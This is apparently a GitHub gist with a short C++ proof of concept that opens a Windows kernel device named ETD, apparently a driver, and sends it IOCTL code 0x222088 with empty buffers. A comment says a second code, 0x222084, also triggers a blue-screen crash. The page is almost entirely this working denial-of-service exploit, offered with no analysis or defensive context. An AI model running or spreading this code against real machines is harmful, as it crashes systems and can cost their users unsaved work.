Created
May 28, 2023 10:40
-
-
Save puppis42/5778ceac622b821f05299d2194aa84f0 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <iostream> | |
#include <Windows.h> | |
int main() | |
{ | |
//std::cout << "Hello World!\n"; | |
//0x222084 IOCTL can also be used to trigger BSOD | |
HANDLE deviceHandle = CreateFile(L"\\\\.\\GLOBALROOT\\DEVICE\\ETD", | |
GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL); | |
DeviceIoControl(deviceHandle, 0x222088, NULL, 0, NULL, 0, 0, NULL); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment